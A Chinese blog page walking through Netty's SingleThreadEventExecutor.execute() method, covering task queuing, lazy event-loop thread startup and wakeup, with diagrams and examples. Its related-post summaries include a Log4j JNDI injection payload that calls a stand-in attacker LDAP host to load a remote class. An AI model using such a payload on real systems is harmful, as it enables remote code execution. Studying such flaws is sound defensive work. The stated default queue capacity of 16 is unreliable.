Netty源码分析---execute-method解析

从零开始学习 Go 1.25 编程 今天是你新生活的第一天,无论年龄、背景如何,改变从这一刻开始。CodeGym帮助成千上万普通人转型为程序员,从零基础到掌握Go语言,完成真实项目,甚至入职心仪岗位。Go语言简洁高效,适合服务器端开发,是云基础设施、微服务和高负载系统的首选。2026年正是入行良机,你的经验反而是优势。别犹豫,迈出第一步,你将收获技能、自信与全新人生。🚀 阅读详情

SingleThreadEventExecutor.execute() 方法完整解析

方法源码

@Override
public void execute(Runnable task) {
    // 1. 参数校验
    if (task == null) {
        throw new NullPointerException("task");
    }
    
    // 2. 判断当前线程是否是 EventLoop 的线程
    boolean inEventLoop = inEventLoop();
    
    // 3. 将任务添加到任务队列
    addTask(task);
    
    // 4. 如果不是 EventLoop 线程提交的任务
    if (!inEventLoop) {
        // 4.1 启动 EventLoop 线程(如果还没启动)
        startThread();
        
        // 4.2 如果 EventLoop 正在关闭
        if (isShutdown()) {
            boolean reject = false;
            try {
                // 尝试从队列中移除刚才添加的任务
                if (removeTask(task)) {
                    reject = true;
                }
            } catch (UnsupportedOperationException e) {
                // 队列不支持移除操作,忽略
            }
            if (reject) {
                // 拒绝执行该任务
                reject();
            }
        }
    }
    
    // 5. 唤醒机制(某些特殊情况需要唤醒 EventLoop)
    if (!addTaskWakesUp && wakesUpForTask(task)) {
        wakeup(inEventLoop);
    }
}

逐步详解

步骤 1:参数校验

if (task == null) {
    throw new NullPointerException("task");
}

作用: 防止空指针异常,确保传入的任务不为 null。


步骤 2:判断当前线程

boolean inEventLoop = inEventLoop();

作用: 判断当前执行 execute() 方法的线程是否是 EventLoop 内部的线程。

实现:

@Override
public boolean inEventLoop(Thread thread) {
    return thread == this.thread;
}

两种情况:

  • inEventLoop = true:当前线程就是 EventLoop 的线程
  • inEventLoop = false:当前线程是外部线程(如 main 线程)

步骤 3:添加任务到队列

addTask(task);

源码:

protected void addTask(Runnable task) {
    if (task == null) {
        throw new NullPointerException("task");
    }
    if (!offerTask(task)) {
        reject(task);  // 队列满了,拒绝任务
    }
}

final boolean offerTask(Runnable task) {
    if (isShutdown()) {
        reject();  // 如果已关闭,拒绝任务
    }
    return taskQueue.offer(task);  // 添加到队列
}

关键点:

  • taskQueue 是一个 LinkedBlockingQueue,默认容量是 16
  • 如果队列满了,会调用 reject(task) 拒绝任务
  • 无论是哪个线程调用 execute(),都会先把任务加入队列

步骤 4:启动线程(关键步骤)

if (!inEventLoop) {
    startThread();
    // ... 后续处理
}
4.1 startThread() 方法
private void startThread() {
    // 只有在未启动状态才会启动
    if (state == ST_NOT_STARTED) {
        // CAS 操作,确保只有一个线程能启动成功
        if (STATE_UPDATER.compareAndSet(this, ST_NOT_STARTED, ST_STARTED)) {
            try {
                doStartThread();
            } catch (Throwable cause) {
                // 启动失败,恢复状态
                STATE_UPDATER.set(this, ST_NOT_STARTED);
                PlatformDependent.throwException(cause);
            }
        }
    }
}

关键点:

  • 使用 CAS 保证线程只启动一次
  • 状态从 ST_NOT_STARTED 变为 ST_STARTED
  • 如果已经启动过,直接返回(什么都不做)
4.2 doStartThread() 方法(核心)
private void doStartThread() {
    assert thread == null;
    
    // executor 是 ThreadPerTaskExecutor,每次创建一个新线程
    executor.execute(new Runnable() {
        @Override
        public void run() {
            // ===== 关键:将新创建的线程设置为 EventLoop 的线程 =====
            thread = Thread.currentThread();
            
            if (interrupted) {
                thread.interrupt();
            }
            
            boolean success = false;
            updateLastExecutionTime();
            
            try {
                // ===== 执行 EventLoop 的 run() 方法(死循环)=====
                SingleThreadEventExecutor.this.run();
                success = true;
            } catch (Throwable t) {
                logger.warn("Unexpected exception from an event executor: ", t);
            } finally {
                // ... 清理工作
            }
        }
    });
}

关键点:

  1. executor.execute() 会创建一个新的 Thread
  2. 将这个新线程赋值给 thread 变量
  3. 调用 SingleThreadEventExecutor.this.run(),这是一个抽象方法
  4. 在 NioEventLoop 中,run() 方法是一个死循环,不断处理 IO 事件和任务
4.3 NioEventLoop 的 run() 方法
@Override
protected void run() {
    for (;;) {  // 死循环
        try {
            // 1. select 操作(可能阻塞)
            switch (selectStrategy.calculateStrategy(selectNowSupplier, hasTasks())) {
                case SelectStrategy.CONTINUE:
                    continue;
                case SelectStrategy.SELECT:
                    select(wakenUp.getAndSet(false));
                    if (wakenUp.get()) {
                        selector.wakeup();
                    }
                default:
            }
            
            // 2. 处理 IO 事件
            processSelectedKeys();
            
            // 3. 处理任务队列中的任务
            runAllTasks();
            
        } catch (Throwable t) {
            handleLoopException(t);
        }
    }
}

这就是 EventLoop 的核心工作循环!


步骤 4.4:关闭状态处理

if (isShutdown()) {
    boolean reject = false;
    try {
        if (removeTask(task)) {
            reject = true;
        }
    } catch (UnsupportedOperationException e) {
        // 队列不支持移除操作
    }
    if (reject) {
        reject();  // 抛出 RejectedExecutionException
    }
}

作用: 如果 EventLoop 正在关闭,尝试移除刚才添加的任务并拒绝执行。


步骤 5:唤醒机制

if (!addTaskWakesUp && wakesUpForTask(task)) {
    wakeup(inEventLoop);
}

作用: 在某些情况下,需要唤醒可能正在阻塞的 EventLoop 线程。

wakeup() 方法:

protected void wakeup(boolean inEventLoop) {
    if (!inEventLoop || state == ST_SHUTTING_DOWN) {
        // 向队列中添加一个唤醒任务
        taskQueue.offer(WAKEUP_TASK);
    }
}

为什么需要唤醒?

  • EventLoop 可能正在 select() 操作中阻塞
  • 添加了新任务后,需要唤醒它来处理任务
  • 通过添加 WAKEUP_TASK 或调用 selector.wakeup() 来唤醒

完整执行流程图

场景 A:main 线程首次提交任务

main 线程
   |
   |--eventLoop.execute(register0 任务)
   |
   |--inEventLoop() = false
   |    (main 线程 != EventLoop 线程)
   |
   |--addTask(register0)
   |    [taskQueue: register0]
   |
   |--startThread()
   |    |
   |    |--state == ST_NOT_STARTED
   |    |
   |    |--CAS(ST_NOT_STARTED -> ST_STARTED)
   |    |
   |    |--doStartThread()
   |         |
   |         |--executor.execute(new Runnable)
   |              |
   |              |--创建新线程
   |              |
   |              +--> EventLoop 线程
   |                      |
   |                      |--thread = Thread.currentThread()
   |                      |
   |                      |--run() 死循环开始
   |                      |
   |                      |--for (;;) {
   |                      |     select();
   |                      |     processSelectedKeys();
   |                      |     runAllTasks();  // 执行 register0
   |                      |  }
   |
   |--返回(不等待任务执行完成)

场景 B:EventLoop 线程自己提交任务

EventLoop 线程
   |
   |--正在执行某个 Handler
   |
   |--eventLoop.execute(新任务)
   |
   |--inEventLoop() = true
   |    (当前线程 == EventLoop 线程)
   |
   |--addTask(新任务)
   |    [taskQueue: 新任务]
   |
   |--不调用 startThread()
   |    (因为自己已经在运行)
   |
   |--继续执行当前代码
   |
   |--当前任务完成
   |
   |--回到 run() 循环
   |
   |--runAllTasks()
   |    |
   |    |--从 taskQueue 取出任务
   |    |
   |    |--执行新任务

关键属性说明

1. taskQueue

private final Queue<Runnable> taskQueue;

// 初始化
protected Queue<Runnable> newTaskQueue(int maxPendingTasks) {
    return new LinkedBlockingQueue<Runnable>(maxPendingTasks);
}

作用: 存放待执行的任务,默认容量 16。

2. thread

private volatile Thread thread;

作用: EventLoop 内部的线程,第一次调用 execute() 时创建。

3. executor

private final Executor executor;

// 初始化时传入 ThreadPerTaskExecutor
public SingleThreadEventExecutor(EventExecutorGroup parent, Executor executor, ...) {
    this.executor = ThreadExecutorMap.apply(executor, this);
}

ThreadPerTaskExecutor 的实现:

public final class ThreadPerTaskExecutor implements Executor {
    private final ThreadFactory threadFactory;
    
    @Override
    public void execute(Runnable command) {
        // 每次创建一个新线程
        threadFactory.newThread(command).start();
    }
}

作用: 用于创建 EventLoop 的线程。

4. state

private volatile int state = ST_NOT_STARTED;

// 状态常量
private static final int ST_NOT_STARTED = 1;
private static final int ST_STARTED = 2;
private static final int ST_SHUTTING_DOWN = 3;
private static final int ST_SHUTDOWN = 4;
private static final int ST_TERMINATED = 5;

作用: 记录 EventLoop 的状态。


为什么这样设计?

1. 懒加载线程

// 不在构造方法中创建线程
public NioEventLoop(...) {
    // 只初始化属性,不创建线程
}

// 在第一次提交任务时才创建线程
eventLoop.execute(task);  // 这时才创建线程

好处:

  • 节省资源:如果 EventLoop 没有被使用,就不会创建线程
  • 延迟初始化:只在需要时才创建

2. 单线程模型

// 一个 EventLoop 只有一个线程
private volatile Thread thread;

// 所有任务都在这个线程中执行
protected void run() {
    for (;;) {
        runAllTasks();  // 串行执行
    }
}

好处:

  • 线程安全:避免并发问题
  • 无锁设计:不需要加锁
  • 高性能:减少线程切换

3. 任务队列化

// 所有任务先进入队列
addTask(task);

// 然后由 EventLoop 线程统一处理
runAllTasks();

好处:

  • 解耦:提交任务和执行任务分离
  • 异步:提交任务立即返回,不阻塞
  • 有序:保证任务按顺序执行

实际应用示例

示例 1:服务端启动

// main 线程
EventLoopGroup bossGroup = new NioEventLoopGroup(1);
ServerBootstrap b = new ServerBootstrap();
ChannelFuture f = b.bind(port).sync();

// 执行流程:
// 1. main 线程调用 bind()
// 2. 内部调用 eventLoop.execute(register0)
// 3. 创建 EventLoop 线程
// 4. EventLoop 线程执行 register0
// 5. 完成注册

示例 2:Handler 中提交任务

public class MyHandler extends ChannelInboundHandlerAdapter {
    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) {
        // 当前线程:EventLoop 线程
        
        // 提交一个延迟任务
        ctx.channel().eventLoop().execute(() -> {
            // 这个任务会在当前 EventLoop 线程中执行
            System.out.println("延迟任务");
        });
        
        // 或者提交一个定时任务
        ctx.channel().eventLoop().schedule(() -> {
            System.out.println("定时任务");
        }, 5, TimeUnit.SECONDS);
    }
}

示例 3:业务线程提交任务

// 业务线程池
ExecutorService businessPool = Executors.newFixedThreadPool(10);

businessPool.submit(() -> {
    // 当前线程:业务线程
    
    // 向 Channel 写数据
    channel.writeAndFlush(msg);
    
    // 内部会调用 eventLoop.execute()
    // 确保写操作在 EventLoop 线程中执行
});

总结

execute() 方法的核心逻辑

  1. 判断线程:当前线程是否是 EventLoop 线程
  2. 加入队列:将任务添加到 taskQueue
  3. 启动线程:如果是外部线程调用,启动 EventLoop 线程
  4. 异步执行:EventLoop 线程从队列中取任务执行

关键设计

  • 懒加载:第一次提交任务时才创建线程
  • 单线程:一个 EventLoop 只有一个线程
  • 队列化:所有任务进入队列,串行执行
  • 线程安全:通过单线程避免并发问题
第28篇 sw放样特征矩形-圆-矩形学习笔记 本例演示三轮廓放样:先画中心对齐的100×100矩形草图,再在偏移100的基准面上绘制圆,最后在另一基准面画矩形。通过依次选择三个轮廓并正确设置连接点,实现矩形→圆→矩形的平滑过渡,注意连接点位置避免扭曲。 阅读详情

相关推荐

ctftools-all-in-one使用说明

OAEP (Optimal Asymmetric Encryption Padding) 是一种用于RSA加密的填充方案,目的是提高RSA加密的安全性。在CTF比赛中,如果模数N的两个因子比较接近,使用"费马分解(N)"可能会更快地得到结果;OAEP 是 RSA 的一种标准填充方式(在 PKCS#1 v2.0+ 中定义),因此这类题目本质上仍是 RSA 题,但。,导致你不能直接用常规的 RSA 解密公式 �=�� mod �m=cdmodN 得到有意义的明文。如果你在 CTF 中遇到 RSA 题,

2501_91682449的博客 1722

2026.11.7 AI学习总结

110 你 14b 模型权重本身就要约 8.8GB,默认上下文(Ollama 在 16GB 卡上可能给到 4K)加上 KV Cache 就爆了。比如设成 2048,你输入了 500 个 token 的问题,那模型最多还能生成 1500 个 token 的回答。超出部分会被截断,模型就"看不见"了。4 如果 14b 跑起来后发现它"忘事",再逐步往上加,比如先试 4096。,根据注意力头的重要性动态分配缓存资源,重要的留显存,不重要的下沉。,单位是 token,表示模型这一次推理最多能同时"看到"多少内容。

qq_41181702的博客 377

图学习——04.HAN(异构图注意力网络)

什么是异构图,什么是元路径,什么是HAN,怎么计算attention,节点级别的attention和语义级别的attention

m0_51474171的博客 3001

Flink 学习日志 03:自定义一个SourceFunction,完成对Redis中数据的读取

本文介绍了在Flink中自定义SourceFunction读取Redis数据的完整流程:通过Jedis客户端连接WSL2中的Redis服务,编写RedisSource实现循环读取所有Key-value并逐条输出,结合Thread.sleep()实现每秒一条的流式效果。关键步骤包括环境准备、添加Jedis依赖、配置IDEA运行时加载provided依赖,并注意生产环境中应避免使用阻塞的keys *,改用scan命令。最终实现动态读取、实时打印,验证了Flink与Redis的数据集成能力。

木木的学习笔记 432

Zynq 【SDK裸机开发之PS】——DDR的内存分配使用详解

Zynq如果跑操作系统的话,内存管理的工作都会交给系统来操作,但是如果是裸机的话,则需要自己对DDR3的内存进行管理。

shizhibuyi1234的博客 7381

窥秘Windows 10:SAM密码破解

Windows 10作为广受欢迎的操作系统,拥有一套强大的安全措施来保护用户账号和数据安全。然而,有时候我们需要了解更多关于密码破解的知识,以加强我们的防护措施。本文将深入探讨如何突破Windows 10的SAM密码,以便更好地了解密码安全性并加强系统的保护。

Sgirll的博客 6845

[学习笔记]超越超级大循环与原生RTOS:事件驱动架构如何改变嵌入式固件的可扩展性

RTC:事件处理器一旦开始,全部状态迁移、进出动作、输出事件必须全部执行完毕才返回;同一个组件,当前处理没结束,不会开始下一条事件。这不是架构给状态机额外施加的限制,这是UML状态图等全部状态机形式化本身固有的语义要求。如果迁移中途可以被打断,状态机会停留在未定义的中间状态。RTC保证两次事件之间,状态机永远处于明确定义的合法状态,便于分析与测试。

MiKiJT的博客 228

智能体在车联网中的应用:第19天 智能体理论与初步实践 D30:阶段小结——在SUMO中使用TraCI控制预编程智能体

本文介绍了如何将强化学习从算法仿真迁移到交通系统实践,重点讲解了SUMO微观交通仿真平台与TraCI实时控制接口的架构。通过构建一个预编程驾驶智能体,演示了车辆从起点到目标点的导航控制。文章详细解析了TraCI的双向通信机制和事件驱动模型,对比了其与传统RL环境的差异,并提供了完整的Python实现框架,包括路网配置、车辆控制和基于向量场的导航逻辑。该实践为后续开发高级学习型交通智能体奠定了基础。

IT深耕十余载,大道之简 1482

带着小白学习-微服务-6 实战:网关

地址栏输入:http://localhost:8088/goods/index,这时候就不是到8100端口去调用了,而是8088直接通过路由转发,分别到nacos对应的goods对应的服务中区调用。** 可以看出,这里将前面已经正常运行的server-store子工程(库存服务,服务提供方),server-goods子工程(商品服务,服务消费方)。(1)uri: lb://store 代表要到nacos的注册中心的服务列表中找到服务名为store的微服务;,网关是做路由转发,不是服务调用;

wdyan297的博客 221

Allegro172版本如何在联机模式下使用skill文件操作指导

注意:如果下次重新开启Symphony模式的时候可能导致symphony_skill中的文件内容被清空,所以最好将自己常用的skill文件都写到symphony_skill.txt中去,然后做好备份,需要的时候,在开启软件后把文件放到env目录中去。在用Allegeo172版本进行PCB设计的时候,有时会用到Symphony模式进行多人实时在线协同设计,如下图。这个模式设计起来可以提升设计速度,但是也有一个缺陷,就是不能使用skill文件。如下图,当调用skill的时候就会出现如下报错。

weixin_54787054的博客 1587

基于FPGA的车道线检测系统设计

本文设计了一种基于FPGA的车道线检测系统,采用Altera Cyclone IV EP4CE10F17C8作为主控芯片,结合OV7725摄像头和LCD显示屏实现实时车道线检测。系统通过硬件流水线处理架构,依次完成图像采集、灰度转换、中值滤波、Sobel边缘检测和Hough变换直线识别等功能模块。所有模块均采用Verilog HDL实现,充分利用FPGA的并行处理能力,显著提升了系统响应速度。测试结果表明,该系统能够有效检测道路车道线,满足实时性要求,为ADAS系统提供了一种高效的硬件解决方案。

huanghm88的专栏 124

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 212

rk3576 适配摄像头 (mipi 双摄)

RK3576 自带两个 4-Lane DPHY 和一个 DCPHY CSI 接口,可以连接 4lane 的双摄像头,最直接的方式就是充分利用其两个 D-PHY 接口。次选方案是 DCPHY + DPHY方案,更次之方案是单DPHY,设置成分离模式,连接两颗摄像头。

weixin_35723192的博客 393

Java 多态 学习笔记

多态是面向对象编程的重要特性,指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”,结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展,如用Person p = new Student();统一处理各类人员注册,无需修改调用逻辑。但多态无法直接调用子类特有方法,需通过instanceof判断并强制转换。编译时看左边(类型),运行时看右边(实际对象),实现解耦与维护便利。

AA_AA114514的博客 367

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

天线模块布局走线学习

天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时,器件封装应当尽量小,倾向于0402、0201等,可以减小由封装带来的寄生参数影响。

qq_59757948的博客 173

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

CMake学习

CMake如何编译成库?1. 为什么要有库?库就是预先写好,编译好的代码集合。存在的意义,1)避免重复造轮子和重复编译,库是,你的代码在编译时直接链接它,不需要把库的源码重新编译一遍,大大节省了编译时间。;2):编译成库让别人可以直接调用我的函数,但看不到cpp源码,看不到里面的逻辑。3):大项目可以拆分给不同的团队开发不同的库,最后拼在一起。静态库:就是在程序编译和链接阶段,把库里被用到的代码部分,像打包裹一样,直接复制粘贴到最终的可执行文件(如.exe或 Linux 下的无后缀文件)里面。

m0_56487684的博客 199

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

焦点仿真学习记录:water_only 基线怎么搭、怎么验、怎么调

在纯水介质中搭建5阵元几何聚焦仿真,通过合理设置网格、介质参数、源延时与传感器区域,实现焦点理论位置的精准对齐。基于声速计算延时,验证焦点位置误差小于0.1 mm,峰值压力达1.2×10⁵ Pa,确认基线仿真正确。该water_only模型为后续颅骨影响分析提供可靠参照,确保聚焦性能评估可量化。

qq_43441284的博客 496

正则表达式学习笔记 02:基础语法

正则表达式是描述字符匹配规则的迷你语言,由普通字符和元字符组成。普通字符直接匹配自身,而元字符如.、*、+、^、$等具有特殊含义,用于控制匹配模式。常见功能包括任意字符匹配、字符类、预定义类(如\d)、量词、位置锚点、分组与捕获、环视断言及反向引用。需注意,若要匹配元字符本身,必须使用转义符\。例如,\.可匹配字面点号。

菜鸟的专栏 190

[LangChain] 学习笔记(08):工具调用底层闭环与第三方搜索(Tavily)实战

大模型通过工具调用实现外部能力扩展:模型返回tool_calls,开发者本地执行后将结果以ToolMessage形式追加至对话历史,再由模型生成最终回答。关键闭环在于状态追加,否则会陷入死循环。借助LangChain生态如TavilySearch,可轻松接入联网搜索,突破知识时效限制。注意避免invalid_tool_call_id错误,确保消息历史完整;网络超时需检查代理或环境配置。简单问题模型自主解答属正常行为。

一名在 Linux 与 C/C++ 世界里打怪升级的开发者。持续输出系统编程、网络编程、数据结构与算法的高质量学习笔记与实战总结 367

【学习笔记】51单片机 按键控制LED流水灯模式&定时器时钟

在下面去给他写中断子函数,他会在main中去到Timer0这个子函数当中去,再接着跳转回来。再TMOD上,这个是不可位寻址的,必须八位同时复制,如果同时使用定时器1和定时器0,先配置定时器1再去配置定时器0会把 之前前定时器1的更新掉,我们去给他让他只去执行一部分。现在我们要去做中断了,改正之后的是这样,但其实是还有缺陷在的。寄存器是连接软硬件的媒介,我们现在写一个关于这个的代码。这样得到的和我们预期的一样。TMOD的寄存模式,M1和M0是来决定工作模式的。我们要看的是关于以下的寄存器。

2601_96469072的博客 241

扣子Coze学习笔记 02 · 智能体开发基础(视频9-15)

本模块系统讲解智能体开发全流程:从创建、模式选择(推荐单Agent自主规划)、参数调优(随机性、上下文轮数、回复长度)到提示词编写(CO-STAR框架+边界限制),强调“双向交互”与“持续学习”的核心价值。通过奶茶师傅类比,厘清智能体与自动化工具的本质区别。重点掌握系统提示词定义角色边界、用户提示词规范输入,并完成发布与开场白优化闭环。实操建议边学边调试,反复验证提示词边界,确保智能体稳定可用。

Question_123456的博客 584

Git与GitHub系统学习|本地Git工作模型:终端与进程、CWD、HEAD/Index/工作树及Git对象

从GitHub网页端走向本地Git,讲清终端、Shell、进程与工作目录,解释仓库发现、HEAD、Index和工作树,分析Commit/Tree/Blob引用、文件树与暂存机制,区分实测与教学示例。

Brookty的博客 622

Day33 XD安全学习笔记--JavaEE应用&SQL 预编译&Filter过滤器&Listener监听器&访问控制

本文介绍了SQL预编译与Filter过滤器、Listener监听器的应用。SQL预编译有效防止注入攻击,相比拼接写法更安全。Filter用于拦截请求与响应,实现权限控制、敏感词过滤等功能,具备初始化、过滤、销毁生命周期;如XssFilter拦截非法参数,AdminFilter通过Cookie验证权限。Listener监听域对象的创建、销毁及属性变化,如Session的创建与销毁,实现系统状态管理。三者协同提升Web应用的安全性与可维护性。

一支蜉蝣的博客 241

库函数的学习

那是因为我们静态库在编译的时候就可以查找,我们之前用的方法就是在编译时可以查找,静态库会直接拷贝到我们的代码当中,所以运行的时候可以不需要i库。-L之告诉编译器,这个库在我们当前目录下,不然会找不到,它默认去的是lib64找。我们使用静态库的方法,然后形成可执行的main文件,我们执行,发现无法执行。gcc main.c -o main -I 文件 -L 文件。-l后面跟我们哭的名字,注意我们库的前缀和后缀都要去掉。使用-I -L -i这样的选项可以随时链接库。我们库的本质是:.o文件的集合。

ywlsg的博客 237

STM32F103VET6高密度布线与铺铜优化学习笔记

完成STM32F103VET6开发板布线,设置导线间距为6mil,采用阻挡布线模式。优先短直走线信号线(如GPIO、RESET、WK_UP、LED、BOOT、晶振等),电源线(5V/3.3V)加粗以降低压降,地线配合铺铜形成完整回流路径。添加底层连接线及跨线,完成关键网络连通。进行整体铺铜,使用泪滴增强可靠性,设置30mil间距缝合孔,并通过过孔将底层与顶层铺铜连接,提升散热与电气性能。

comyccccc的博客 248

自由学习记录(230)

默认情况下,root 不跟着绑定走。官方原话:"root joints are not linked to the rig ... if you try to move the rig, the root will remain in the same place"(root joint 没有连在 rig 上,移动 rig 时 root 留在原地)。所以默认情况下你在 Cascadeur 里移动角色(包括质心 COM 带动的身体),不会产生 root 的位移,root motion 导出的就是不动。

red_redemption的博客 209
上一篇: Netty源码分析---handlerAdded方法调用详解
下一篇: Netty源码分析---initChannel方法调用流程详解
不早睡不改名@
博客等级 码龄5年 536粉丝 306原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值